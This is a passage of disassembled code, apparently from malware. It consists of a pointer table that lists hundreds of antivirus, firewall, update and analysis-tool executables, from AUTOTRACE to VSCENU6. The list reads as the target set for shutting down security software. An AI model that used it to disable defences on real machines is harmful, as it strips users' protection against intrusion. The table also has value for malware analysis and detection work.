		dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
		dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
		dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
		dd offset aAvconsol_exe	; "AVCONSOL.EXE"
		dd offset aAve32_exe	; "AVE32.EXE"
		dd offset aAvgcc32_exe	; "AVGCC32.EXE"
		dd offset aAvgctrl_exe	; "AVGCTRL.EXE"
		dd offset aAvgnt_exe	; "AVGNT.EXE"
		dd offset aAvgserv_exe	; "AVGSERV.EXE"
		dd offset aAvgserv9_exe	; "AVGSERV9.EXE"
		dd offset aAvguard_exe	; "AVGUARD.EXE"
		dd offset aAvgw_exe	; "AVGW.EXE"
		dd offset aAvkpop_exe	; "AVKPOP.EXE"
		dd offset aAvkserv_exe	; "AVKSERV.EXE"
		dd offset aAvkservice_exe ; "AVKSERVICE.EXE"
		dd offset aAvkwctl9_exe	; "AVKWCTl9.EXE"
		dd offset aAvltmain_exe	; "AVLTMAIN.EXE"
		dd offset aAvnt_exe	; "AVNT.EXE"
		dd offset aAvp_exe	; "AVP.EXE"
		dd offset aAvp32_exe	; "AVP32.EXE"
		dd offset aAvpcc_exe	; "AVPCC.EXE"
		dd offset aAvpdos32_exe	; "AVPDOS32.EXE"
		dd offset aAvpm_exe	; "AVPM.EXE"
		dd offset aAvptc32_exe	; "AVPTC32.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvsched32_exe ; "AVSCHED32.EXE"
		dd offset aAvsynmgr_exe	; "AVSYNMGR.EXE"
		dd offset aAvwin95_exe	; "AVWIN95.EXE"
		dd offset aAvwinnt_exe	; "AVWINNT.EXE"
		dd offset aAvwupd_exe	; "AVWUPD.EXE"
		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupsrv_exe	; "AVWUPSRV.EXE"
		dd offset aAvxmonitor9x_e ; "AVXMONITOR9X.EXE"
		dd offset aAvxmonitornt_e ; "AVXMONITORNT.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aBackweb_exe	; "BACKWEB.EXE"
		dd offset aBargains_exe	; "BARGAINS.EXE"
		dd offset aBd_professiona ; "BD_PROFESSIONAL.EXE"
		dd offset aBeagle_exe	; "BEAGLE.EXE"
		dd offset aBelt_exe	; "BELT.EXE"
		dd offset aBidef_exe	; "BIDEF.EXE"
		dd offset aBidserver_exe ; "BIDSERVER.EXE"
		dd offset aBipcp_exe	; "BIPCP.EXE"
		dd offset aBipcpevalsetup ; "BIPCPEVALSETUP.EXE"
		dd offset aBisp_exe	; "BISP.EXE"
		dd offset aBlackd_exe	; "BLACKD.EXE"
		dd offset aBlackice_exe	; "BLACKICE.EXE"
		dd offset aBlss_exe	; "BLSS.EXE"
		dd offset aBootconf_exe	; "BOOTCONF.EXE"
		dd offset aBootwarn_exe	; "BOOTWARN.EXE"
		dd offset aBorg2_exe	; "BORG2.EXE"
		dd offset aBpc_exe	; "BPC.EXE"
		dd offset aBrasil_exe	; "BRASIL.EXE"
		dd offset aBs120_exe	; "BS120.EXE"
		dd offset aBundle_exe	; "BUNDLE.EXE"
		dd offset aBvt_exe	; "BVT.EXE"
		dd offset aCcapp_exe	; "CCAPP.EXE"
		dd offset aCcevtmgr_exe	; "CCEVTMGR.EXE"
		dd offset aCcpxysvc_exe	; "CCPXYSVC.EXE"
		dd offset aCdp_exe	; "CDP.EXE"
		dd offset aCfd_exe	; "CFD.EXE"
		dd offset aCfgwiz_exe	; "CFGWIZ.EXE"
		dd offset aCfiadmin_exe	; "CFIADMIN.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfinet_exe	; "CFINET.EXE"
		dd offset aCfinet32_exe	; "CFINET32.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aClean_exe	; "CLEAN.EXE"
		dd offset aCleaner_exe	; "CLEANER.EXE"
		dd offset aCleaner3_exe	; "CLEANER3.EXE"
		dd offset aCleanpc_exe	; "CLEANPC.EXE"
		dd offset aClick_exe	; "CLICK.EXE"
		dd offset aCmd32_exe	; "CMD32.EXE"
		dd offset aCmesys_exe	; "CMESYS.EXE"
		dd offset aCmgrdian_exe	; "CMGRDIAN.EXE"
		dd offset aCmon016_exe	; "CMON016.EXE"
		dd offset aConnectionmoni ; "CONNECTIONMONITOR.EXE"
		dd offset aCpd_exe	; "CPD.EXE"
		dd offset aCpf9x206_exe	; "CPF9X206.EXE"
		dd offset aCpfnt206_exe	; "CPFNT206.EXE"
		dd offset aCtrl_exe	; "CTRL.EXE"
		dd offset aCv_exe	; "CV.EXE"
		dd offset aCwnb181_exe	; "CWNB181.EXE"
		dd offset aCwntdwmo_exe	; "CWNTDWMO.EXE"
		dd offset aClaw95_exe	; "Claw95.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aDatemanager_ex ; "DATEMANAGER.EXE"
		dd offset aDcomx_exe	; "DCOMX.EXE"
		dd offset aDefalert_exe	; "DEFALERT.EXE"
		dd offset aDefscangui_exe ; "DEFSCANGUI.EXE"
		dd offset aDefwatch_exe	; "DEFWATCH.EXE"
		dd offset aDeputy_exe	; "DEPUTY.EXE"
		dd offset aDivx_exe	; "DIVX.EXE"
		dd offset aDllcache_exe	; "DLLCACHE.EXE"
		dd offset aDllreg_exe	; "DLLREG.EXE"
		dd offset aDoors_exe	; "DOORS.EXE"
		dd offset aDpf_exe	; "DPF.EXE"
		dd offset aDpfsetup_exe	; "DPFSETUP.EXE"
		dd offset aDpps2_exe	; "DPPS2.EXE"
		dd offset aDrwatson_exe	; "DRWATSON.EXE"
		dd offset aDrweb32_exe	; "DRWEB32.EXE"
		dd offset aDrwebupw_exe	; "DRWEBUPW.EXE"
		dd offset aDssagent_exe	; "DSSAGENT.EXE"
		dd offset aDvp95_exe	; "DVP95.EXE"
		dd offset aDvp95_0_exe	; "DVP95_0.EXE"
		dd offset aEcengine_exe	; "ECENGINE.EXE"
		dd offset aEfpeadm_exe	; "EFPEADM.EXE"
		dd offset aEmsw_exe	; "EMSW.EXE"
		dd offset aEnt_exe	; "ENT.EXE"
		dd offset aEsafe_exe	; "ESAFE.EXE"
		dd offset aEscanh95_exe	; "ESCANH95.EXE"
		dd offset aEscanhnt_exe	; "ESCANHNT.EXE"
		dd offset aEscanv95_exe	; "ESCANV95.EXE"
		dd offset aEspwatch_exe	; "ESPWATCH.EXE"
		dd offset aEthereal_exe	; "ETHEREAL.EXE"
		dd offset aEtrustcipe_exe ; "ETRUSTCIPE.EXE"
		dd offset aEvpn_exe	; "EVPN.EXE"
		dd offset aExantivirusCne ; "EXANTIVIRUS-CNET.EXE"
		dd offset aExe_avxw_exe	; "EXE.AVXW.EXE"
		dd offset aExpert_exe	; "EXPERT.EXE"
		dd offset aExplore_exe	; "EXPLORE.EXE"
		dd offset aFAgnt95_exe	; "F-AGNT95.EXE"
		dd offset aFProt_exe	; "F-PROT.EXE"
		dd offset aFProt95_exe	; "F-PROT95.EXE"
		dd offset aFStopw_exe	; "F-STOPW.EXE"
		dd offset aFameh32_exe	; "FAMEH32.EXE"
		dd offset aFast_exe	; "FAST.EXE"
		dd offset aFch32_exe	; "FCH32.EXE"
		dd offset aFih32_exe	; "FIH32.EXE"
		dd offset aFindviru_exe	; "FINDVIRU.EXE"
		dd offset aFirewall_exe	; "FIREWALL.EXE"
		dd offset aFlowprotector_ ; "FLOWPROTECTOR.EXE"
		dd offset aFnrb32_exe	; "FNRB32.EXE"
		dd offset aFpWin_exe	; "FP-WIN.EXE"
		dd offset aFpWin_trial_ex ; "FP-WIN_TRIAL.EXE"
		dd offset aFprot_exe	; "FPROT.EXE"
		dd offset aFrw_exe	; "FRW.EXE"
		dd offset aFsaa_exe	; "FSAA.EXE"
		dd offset aFsav_exe	; "FSAV.EXE"
		dd offset aFsav32_exe	; "FSAV32.EXE"
		dd offset aFsav530stbyb_e ; "FSAV530STBYB.EXE"
		dd offset aFsav530wtbyb_e ; "FSAV530WTBYB.EXE"
		dd offset aFsav95_exe	; "FSAV95.EXE"
		dd offset aFsgk32_exe	; "FSGK32.EXE"
		dd offset aFsm32_exe	; "FSM32.EXE"
		dd offset aFsma32_exe	; "FSMA32.EXE"
		dd offset aFsmb32_exe	; "FSMB32.EXE"
		dd offset aGator_exe	; "GATOR.EXE"
		dd offset aGbmenu_exe	; "GBMENU.EXE"
		dd offset aGbpoll_exe	; "GBPOLL.EXE"
		dd offset aGenerics_exe	; "GENERICS.EXE"
		dd offset aGmt_exe	; "GMT.EXE"
		dd offset aGuard_exe	; "GUARD.EXE"
		dd offset aGuarddog_exe	; "GUARDDOG.EXE"
		dd offset aHacktracersetu ; "HACKTRACERSETUP.EXE"
		dd offset aHbinst_exe	; "HBINST.EXE"
		dd offset aHbsrv_exe	; "HBSRV.EXE"
		dd offset aHotactio_exe	; "HOTACTIO.EXE"
		dd offset aHotpatch_exe	; "HOTPATCH.EXE"
		dd offset aHtlog_exe	; "HTLOG.EXE"
		dd offset aHtpatch_exe	; "HTPATCH.EXE"
		dd offset aHwpe_exe	; "HWPE.EXE"
		dd offset aHxdl_exe	; "HXDL.EXE"
		dd offset aHxiul_exe	; "HXIUL.EXE"
		dd offset aIamapp_exe	; "IAMAPP.EXE"
		dd offset aIamserv_exe	; "IAMSERV.EXE"
		dd offset aIamstats_exe	; "IAMSTATS.EXE"
		dd offset aIbmasn_exe	; "IBMASN.EXE"
		dd offset aIbmavsp_exe	; "IBMAVSP.EXE"
		dd offset aIcload95_exe	; "ICLOAD95.EXE"
		dd offset aIcloadnt_exe	; "ICLOADNT.EXE"
		dd offset aIcmon_exe	; "ICMON.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsuppnt_exe	; "ICSUPPNT.EXE"
		dd offset aIdle_exe	; "IDLE.EXE"
		dd offset aIedll_exe	; "IEDLL.EXE"
		dd offset aIedriver_exe	; "IEDRIVER.EXE"
		dd offset aIexplorer_exe ; "IEXPLORER.EXE"
		dd offset aIface_exe	; "IFACE.EXE"
		dd offset aIfw2000_exe	; "IFW2000.EXE"
		dd offset aInetlnfo_exe	; "INETLNFO.EXE"
		dd offset aInfus_exe	; "INFUS.EXE"
		dd offset aInfwin_exe	; "INFWIN.EXE"
		dd offset aInit_exe	; "INIT.EXE"
		dd offset aIntdel_exe	; "INTDEL.EXE"
		dd offset aIntren_exe	; "INTREN.EXE"
		dd offset aIomon98_exe	; "IOMON98.EXE"
		dd offset aIparmor_exe	; "IPARMOR.EXE"
		dd offset aIris_exe	; "IRIS.EXE"
		dd offset aIsass_exe	; "ISASS.EXE"
		dd offset aIsrv95_exe	; "ISRV95.EXE"
		dd offset aIstsvc_exe	; "ISTSVC.EXE"
		dd offset aJammer_exe	; "JAMMER.EXE"
		dd offset aJdbgmrg_exe	; "JDBGMRG.EXE"
		dd offset aJedi_exe	; "JEDI.EXE"
		dd offset aKavlite40eng_e ; "KAVLITE40ENG.EXE"
		dd offset aKavpers40eng_e ; "KAVPERS40ENG.EXE"
		dd offset aKavpf_exe	; "KAVPF.EXE"
		dd offset aKazza_exe	; "KAZZA.EXE"
		dd offset aKeenvalue_exe ; "KEENVALUE.EXE"
		dd offset aKerioPf213EnWi ; "KERIO-PF-213-EN-WIN.EXE"
		dd offset aKerioWrl421EnW ; "KERIO-WRL-421-EN-WIN.EXE"
		dd offset aKerioWrp421EnW ; "KERIO-WRP-421-EN-WIN.EXE"
		dd offset aKernel32_exe	; "KERNEL32.EXE"
		dd offset aKillprocessset ; "KILLPROCESSSETUP161.EXE"
		dd offset aLauncher_exe	; "LAUNCHER.EXE"
		dd offset aLdnetmon_exe	; "LDNETMON.EXE"
		dd offset aLdpro_exe	; "LDPRO.EXE"
		dd offset aLdpromenu_exe ; "LDPROMENU.EXE"
		dd offset aLdscan_exe	; "LDSCAN.EXE"
		dd offset aLnetinfo_exe	; "LNETINFO.EXE"
		dd offset aLoader_exe	; "LOADER.EXE"
		dd offset aLocalnet_exe	; "LOCALNET.EXE"
		dd offset aLockdown_exe	; "LOCKDOWN.EXE"
		dd offset aLockdown2000_e ; "LOCKDOWN2000.EXE"
		dd offset aLookout_exe	; "LOOKOUT.EXE"
		dd offset aLordpe_exe	; "LORDPE.EXE"
		dd offset aLsetup_exe	; "LSETUP.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuau_exe	; "LUAU.EXE"
		dd offset aLucomserver_ex ; "LUCOMSERVER.EXE"
		dd offset aLuinit_exe	; "LUINIT.EXE"
		dd offset aLuspt_exe	; "LUSPT.EXE"
		dd offset aMapisvc32_exe ; "MAPISVC32.EXE"
		dd offset aMcagent_exe	; "MCAGENT.EXE"
		dd offset aMcmnhdlr_exe	; "MCMNHDLR.EXE"
		dd offset aMcshield_exe	; "MCSHIELD.EXE"
		dd offset aMctool_exe	; "MCTOOL.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcvsrte_exe	; "MCVSRTE.EXE"
		dd offset aMcvsshld_exe	; "MCVSSHLD.EXE"
		dd offset aMd_exe	; "MD.EXE"
		dd offset aMfin32_exe	; "MFIN32.EXE"
		dd offset aMfw2en_exe	; "MFW2EN.EXE"
		dd offset aMfweng3_02d30_ ; "MFWENG3.02D30.EXE"
		dd offset aMgavrtcl_exe	; "MGAVRTCL.EXE"
		dd offset aMgavrte_exe	; "MGAVRTE.EXE"
		dd offset aMghtml_exe	; "MGHTML.EXE"
		dd offset aMgui_exe	; "MGUI.EXE"
		dd offset aMinilog_exe	; "MINILOG.EXE"
		dd offset aMmod_exe	; "MMOD.EXE"
		dd offset aMonitor_exe	; "MONITOR.EXE"
		dd offset aMoolive_exe	; "MOOLIVE.EXE"
		dd offset aMostat_exe	; "MOSTAT.EXE"
		dd offset aMpfagent_exe	; "MPFAGENT.EXE"
		dd offset aMpfservice_exe ; "MPFSERVICE.EXE"
		dd offset aMpftray_exe	; "MPFTRAY.EXE"
		dd offset aMrflux_exe	; "MRFLUX.EXE"
		dd offset aMsapp_exe	; "MSAPP.EXE"
		dd offset aMsbb_exe	; "MSBB.EXE"
		dd offset aMsblast_exe	; "MSBLAST.EXE"
		dd offset aMscache_exe	; "MSCACHE.EXE"
		dd offset aMsccn32_exe	; "MSCCN32.EXE"
		dd offset aMscman_exe	; "MSCMAN.EXE"
		dd offset aMsconfig_exe	; "MSCONFIG.EXE"
		dd offset aMsdm_exe	; "MSDM.EXE"
		dd offset aMsdos_exe	; "MSDOS.EXE"
		dd offset aMsiexec16_exe ; "MSIEXEC16.EXE"
		dd offset aMsinfo32_exe	; "MSINFO32.EXE"
		dd offset aMslaugh_exe	; "MSLAUGH.EXE"
		dd offset aMsmgt_exe	; "MSMGT.EXE"
		dd offset aMsmsgri32_exe ; "MSMSGRI32.EXE"
		dd offset aMssmmc32_exe	; "MSSMMC32.EXE"
		dd offset aMssys_exe	; "MSSYS.EXE"
		dd offset aMsvxd_exe	; "MSVXD.EXE"
		dd offset aMu0311ad_exe	; "MU0311AD.EXE"
		dd offset aMwatch_exe	; "MWATCH.EXE"
		dd offset aN32scanw_exe	; "N32SCANW.EXE"
		dd offset aNav_exe	; "NAV.EXE"
		dd offset aAutoProtect_na ; "AUTO-PROTECT.NAV80TRY.EXE"
		dd offset aNavap_navapsvc ; "NAVAP.NAVAPSVC.EXE"
		dd offset aNavapsvc_exe	; "NAVAPSVC.EXE"
		dd offset aNavapw32_exe	; "NAVAPW32.EXE"
		dd offset aNavdx_exe	; "NAVDX.EXE"
		dd offset aNavengnavex15_ ; "NAVENGNAVEX15.NAVLU32.EXE"
		dd offset aNavlu32_exe	; "NAVLU32.EXE"
		dd offset aNavnt_exe	; "NAVNT.EXE"
		dd offset aNavstub_exe	; "NAVSTUB.EXE"
		dd offset aNavw32_exe	; "NAVW32.EXE"
		dd offset aNavwnt_exe	; "NAVWNT.EXE"
		dd offset aNc2000_exe	; "NC2000.EXE"
		dd offset aNcinst4_exe	; "NCINST4.EXE"
		dd offset aNdd32_exe	; "NDD32.EXE"
		dd offset aNeomonitor_exe ; "NEOMONITOR.EXE"
		dd offset aNeowatchlog_ex ; "NEOWATCHLOG.EXE"
		dd offset aNetarmor_exe	; "NETARMOR.EXE"
		dd offset aNetd32_exe	; "NETD32.EXE"
		dd offset aNetinfo_exe	; "NETINFO.EXE"
		dd offset aNetmon_exe	; "NETMON.EXE"
		dd offset aNetscanpro_exe ; "NETSCANPRO.EXE"
		dd offset aNetspyhunter1_ ; "NETSPYHUNTER-1.2.EXE"
		dd offset aNetstat_exe	; "NETSTAT.EXE"
		dd offset aNetutils_exe	; "NETUTILS.EXE"
		dd offset aNisserv_exe	; "NISSERV.EXE"
		dd offset aNisum_exe	; "NISUM.EXE"
		dd offset aNmain_exe	; "NMAIN.EXE"
		dd offset aNod32_exe	; "NOD32.EXE"
		dd offset aNormist_exe	; "NORMIST.EXE"
		dd offset aNorton_interne ; "NORTON_INTERNET_SECU_3.0_407.EXE"
		dd offset aNotstart_exe	; "NOTSTART.EXE"
		dd offset aNpf40_tw_98_nt ; "NPF40_TW_98_NT_ME_2K.EXE"
		dd offset aNpfmessenger_e ; "NPFMESSENGER.EXE"
		dd offset aNprotect_exe	; "NPROTECT.EXE"
		dd offset aNpscheck_exe	; "NPSCHECK.EXE"
		dd offset aNpssvc_exe	; "NPSSVC.EXE"
		dd offset aNsched32_exe	; "NSCHED32.EXE"
		dd offset aNssys32_exe	; "NSSYS32.EXE"
		dd offset aNstask32_exe	; "NSTASK32.EXE"
		dd offset aNsupdate_exe	; "NSUPDATE.EXE"
		dd offset aNt_exe	; "NT.EXE"
		dd offset aNtrtscan_exe	; "NTRTSCAN.EXE"
		dd offset aNtvdm_exe	; "NTVDM.EXE"
		dd offset aNtxconfig_exe ; "NTXconfig.EXE"
		dd offset aNui_exe	; "NUI.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNvarch16_exe	; "NVARCH16.EXE"
		dd offset aNvc95_exe	; "NVC95.EXE"
		dd offset aNvsvc32_exe	; "NVSVC32.EXE"
		dd offset aNwinst4_exe	; "NWINST4.EXE"
		dd offset aNwservice_exe ; "NWSERVICE.EXE"
		dd offset aNwtool16_exe	; "NWTOOL16.EXE"
		dd offset aOllydbg_exe	; "OLLYDBG.EXE"
		dd offset aOnsrvr_exe	; "ONSRVR.EXE"
		dd offset aOptimize_exe	; "OPTIMIZE.EXE"
		dd offset aOstronet_exe	; "OSTRONET.EXE"
		dd offset aOtfix_exe	; "OTFIX.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpostinstall ; "OUTPOSTINSTALL.EXE"
		dd offset aOutpostproinst ; "OUTPOSTPROINSTALL.EXE"
		dd offset aPadmin_exe	; "PADMIN.EXE"
		dd offset aPanixk_exe	; "PANIXK.EXE"
		dd offset aPatch_exe	; "PATCH.EXE"
		dd offset aPavcl_exe	; "PAVCL.EXE"
		dd offset aPavproxy_exe	; "PAVPROXY.EXE"
		dd offset aPavsched_exe	; "PAVSCHED.EXE"
		dd offset aPavw_exe	; "PAVW.EXE"
		dd offset aPcc2002s902_ex ; "PCC2002S902.EXE"
		dd offset aPcc2k_76_1436_ ; "PCC2K_76_1436.EXE"
		dd offset aPcciomon_exe	; "PCCIOMON.EXE"
		dd offset aPccntmon_exe	; "PCCNTMON.EXE"
		dd offset aPccwin97_exe	; "PCCWIN97.EXE"
		dd offset aPccwin98_exe	; "PCCWIN98.EXE"
		dd offset aPcdsetup_exe	; "PCDSETUP.EXE"
		dd offset aPcfwallicon_ex ; "PCFWALLICON.EXE"
		dd offset aPcip10117_0_ex ; "PCIP10117_0.EXE"
		dd offset aPcscan_exe	; "PCSCAN.EXE"
		dd offset aPdsetup_exe	; "PDSETUP.EXE"
		dd offset aPenis_exe	; "PENIS.EXE"
		dd offset aPeriscope_exe ; "PERISCOPE.EXE"
		dd offset aPersfw_exe	; "PERSFW.EXE"
		dd offset aPerswf_exe	; "PERSWF.EXE"
		dd offset aPf2_exe	; "PF2.EXE"
		dd offset aPfwadmin_exe	; "PFWADMIN.EXE"
		dd offset aPgmonitr_exe	; "PGMONITR.EXE"
		dd offset aPingscan_exe	; "PINGSCAN.EXE"
		dd offset aPlatin_exe	; "PLATIN.EXE"
		dd offset aPop3trap_exe	; "POP3TRAP.EXE"
		dd offset aPoproxy_exe	; "POPROXY.EXE"
		dd offset aPopscan_exe	; "POPSCAN.EXE"
		dd offset aPortdetective_ ; "PORTDETECTIVE.EXE"
		dd offset aPortmonitor_ex ; "PORTMONITOR.EXE"
		dd offset aPowerscan_exe ; "POWERSCAN.EXE"
		dd offset aPpinupdt_exe	; "PPINUPDT.EXE"
		dd offset aPptbc_exe	; "PPTBC.EXE"
		dd offset aPpvstop_exe	; "PPVSTOP.EXE"
		dd offset aPrizesurfer_ex ; "PRIZESURFER.EXE"
		dd offset aPrmt_exe	; "PRMT.EXE"
		dd offset aPrmvr_exe	; "PRMVR.EXE"
		dd offset aProcdump_exe	; "PROCDUMP.EXE"
		dd offset aProcessmonitor ; "PROCESSMONITOR.EXE"
		dd offset aProcexplorerv1 ; "PROCEXPLORERV1.0.EXE"
		dd offset aProgramauditor ; "PROGRAMAUDITOR.EXE"
		dd offset aProport_exe	; "PROPORT.EXE"
		dd offset aProtectx_exe	; "PROTECTX.EXE"
		dd offset aPspf_exe	; "PSPF.EXE"
		dd offset aPurge_exe	; "PURGE.EXE"
		dd offset aPussy_exe	; "PUSSY.EXE"
		dd offset aPview95_exe	; "PVIEW95.EXE"
		dd offset aQconsole_exe	; "QCONSOLE.EXE"
		dd offset aQserver_exe	; "QSERVER.EXE"
		dd offset aRapapp_exe	; "RAPAPP.EXE"
		dd offset aRav7_exe	; "RAV7.EXE"
		dd offset aRav7win_exe	; "RAV7WIN.EXE"
		dd offset aRav8win32eng_e ; "RAV8WIN32ENG.EXE"
		dd offset aRay_exe	; "RAY.EXE"
		dd offset aRb32_exe	; "RB32.EXE"
		dd offset aRcsync_exe	; "RCSYNC.EXE"
		dd offset aRealmon_exe	; "REALMON.EXE"
		dd offset aReged_exe	; "REGED.EXE"
		dd offset aRegedit_exe	; "REGEDIT.EXE"
		dd offset aRegedt32_exe	; "REGEDT32.EXE"
		dd offset aRescue_exe	; "RESCUE.EXE"
		dd offset aRescue32_exe	; "RESCUE32.EXE"
		dd offset aRrguard_exe	; "RRGUARD.EXE"
		dd offset aRshell_exe	; "RSHELL.EXE"
		dd offset aRtvscan_exe	; "RTVSCAN.EXE"
		dd offset aRtvscn95_exe	; "RTVSCN95.EXE"
		dd offset aRulaunch_exe	; "RULAUNCH.EXE"
		dd offset aRun32dll_exe	; "RUN32DLL.EXE"
		dd offset aRundll_exe	; "RUNDLL.EXE"
		dd offset aRundll16_exe	; "RUNDLL16.EXE"
		dd offset aRuxdll32_exe	; "RUXDLL32.EXE"
		dd offset aSafeweb_exe	; "SAFEWEB.EXE"
		dd offset aSahagent_exe	; "SAHAGENT.EXE"
		dd offset aSave_exe	; "SAVE.EXE"
		dd offset aSavenow_exe	; "SAVENOW.EXE"
		dd offset aSbserv_exe	; "SBSERV.EXE"
		dd offset aSc_exe	; "SC.EXE"
		dd offset aScam32_exe	; "SCAM32.EXE"
		dd offset aScan32_exe	; "SCAN32.EXE"
		dd offset aScan95_exe	; "SCAN95.EXE"
		dd offset aScanpm_exe	; "SCANPM.EXE"
		dd offset aScrscan_exe	; "SCRSCAN.EXE"
		dd offset aScrsvr_exe	; "SCRSVR.EXE"
		dd offset aScvhost_exe	; "SCVHOST.EXE"
		dd offset aSd_exe	; "SD.EXE"
		dd offset aServ95_exe	; "SERV95.EXE"
		dd offset aService_exe	; "SERVICE.EXE"
		dd offset aServlce_exe	; "SERVLCE.EXE"
		dd offset aServlces_exe	; "SERVLCES.EXE"
		dd offset aSetupvameeval_ ; "SETUPVAMEEVAL.EXE"
		dd offset aSetup_flowprot ; "SETUP_FLOWPROTECTOR_US.EXE"
		dd offset aSfc_exe	; "SFC.EXE"
		dd offset aSgssfw32_exe	; "SGSSFW32.EXE"
		dd offset aSh_exe	; "SH.EXE"
		dd offset aShellspyinstal ; "SHELLSPYINSTALL.EXE"
		dd offset aShn_exe	; "SHN.EXE"
		dd offset aShowbehind_exe ; "SHOWBEHIND.EXE"
		dd offset aSmc_exe	; "SMC.EXE"
		dd offset aSms_exe	; "SMS.EXE"
		dd offset aSmss32_exe	; "SMSS32.EXE"
		dd offset aSoap_exe	; "SOAP.EXE"
		dd offset aSofi_exe	; "SOFI.EXE"
		dd offset aSperm_exe	; "SPERM.EXE"
		dd offset aSpf_exe	; "SPF.EXE"
		dd offset aSphinx_exe	; "SPHINX.EXE"
		dd offset aSpoler_exe	; "SPOLER.EXE"
		dd offset aSpoolcv_exe	; "SPOOLCV.EXE"
		dd offset aSpoolsv32_exe ; "SPOOLSV32.EXE"
		dd offset aSpyxx_exe	; "SPYXX.EXE"
		dd offset aSrexe_exe	; "SREXE.EXE"
		dd offset aSrng_exe	; "SRNG.EXE"
		dd offset aSs3edit_exe	; "SS3EDIT.EXE"
		dd offset aSsgrate_exe	; "SSGRATE.EXE"
		dd offset aSsg_4104_exe	; "SSG_4104.EXE"
		dd offset aSt2_exe	; "ST2.EXE"
		dd offset aStart_exe	; "START.EXE"
		dd offset aStcloader_exe ; "STCLOADER.EXE"
		dd offset aSupftrl_exe	; "SUPFTRL.EXE"
		dd offset aSupport_exe	; "SUPPORT.EXE"
		dd offset aSupporter5_exe ; "SUPPORTER5.EXE"
		dd offset aSvc_exe	; "SVC.EXE"
		dd offset aSvchostc_exe	; "SVCHOSTC.EXE"
		dd offset aSvchosts_exe	; "SVCHOSTS.EXE"
		dd offset aSvshost_exe	; "SVSHOST.EXE"
		dd offset aSweep95_exe	; "SWEEP95.EXE"
		dd offset aSweepnet_sweep ; "SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE"
		dd offset aSymproxysvc_ex ; "SYMPROXYSVC.EXE"
		dd offset aSymtray_exe	; "SYMTRAY.EXE"
		dd offset aSysedit_exe	; "SYSEDIT.EXE"
		dd offset aSystem_exe	; "SYSTEM.EXE"
		dd offset aSystem32_exe	; "SYSTEM32.EXE"
		dd offset aSysupd_exe	; "SYSUPD.EXE"
		dd offset aTaskmg_exe	; "TASKMG.EXE"
		dd offset aTaskmo_exe	; "TASKMO.EXE"
		dd offset aTaskmon_exe	; "TASKMON.EXE"
		dd offset aTaumon_exe	; "TAUMON.EXE"
		dd offset aTbscan_exe	; "TBSCAN.EXE"
		dd offset aTc_exe	; "TC.EXE"
		dd offset aTca_exe	; "TCA.EXE"
		dd offset aTcm_exe	; "TCM.EXE"
		dd offset aTds3_exe	; "TDS-3.EXE"
		dd offset aTds298_exe	; "TDS2-98.EXE"
		dd offset aTds2Nt_exe	; "TDS2-NT.EXE"
		dd offset aTeekids_exe	; "TEEKIDS.EXE"
		dd offset aTfak_exe	; "TFAK.EXE"
		dd offset aTfak5_exe	; "TFAK5.EXE"
		dd offset aTgbob_exe	; "TGBOB.EXE"
		dd offset aTitanin_exe	; "TITANIN.EXE"
		dd offset aTitaninxp_exe ; "TITANINXP.EXE"
		dd offset aTracert_exe	; "TRACERT.EXE"
		dd offset aTrickler_exe	; "TRICKLER.EXE"
		dd offset aTrjscan_exe	; "TRJSCAN.EXE"
		dd offset aTrjsetup_exe	; "TRJSETUP.EXE"
		dd offset aTrojantrap3_ex ; "TROJANTRAP3.EXE"
		dd offset aTsadbot_exe	; "TSADBOT.EXE"
		dd offset aTvmd_exe	; "TVMD.EXE"
		dd offset aTvtmd_exe	; "TVTMD.EXE"
		dd offset aUndoboot_exe	; "UNDOBOOT.EXE"
		dd offset aUpdat_exe	; "UPDAT.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpdate_exe	; "UPDATE.EXE"
		dd offset aUpgrad_exe	; "UPGRAD.EXE"
		dd offset aUtpost_exe	; "UTPOST.EXE"
		dd offset aVbcmserv_exe	; "VBCMSERV.EXE"
		dd offset aVbcons_exe	; "VBCONS.EXE"
		dd offset aVbust_exe	; "VBUST.EXE"
		dd offset aVbwin9x_exe	; "VBWIN9X.EXE"
		dd offset aVbwinntw_exe	; "VBWINNTW.EXE"
		dd offset aVcsetup_exe	; "VCSETUP.EXE"
		dd offset aVet32_exe	; "VET32.EXE"
		dd offset aVet95_exe	; "VET95.EXE"
		dd offset aVettray_exe	; "VETTRAY.EXE"
		dd offset aVfsetup_exe	; "VFSETUP.EXE"
		dd offset aVirHelp_exe	; "VIR-HELP.EXE"
		dd offset aVirusmdpersona ; "VIRUSMDPERSONALFIREWALL.EXE"
		dd offset aVnlan300_exe	; "VNLAN300.EXE"
		dd offset aVnpc3000_exe	; "VNPC3000.EXE"
		dd offset aVpc32_exe	; "VPC32.EXE"
		dd offset aVpc42_exe	; "VPC42.EXE"
		dd offset aVpfw30s_exe	; "VPFW30S.EXE"
		dd offset aVptray_exe	; "VPTRAY.EXE"
		dd offset aVscan40_exe	; "VSCAN40.EXE"
		dd offset aVscenu6_02d30_ ; "VSCENU6.02D30.EXE"
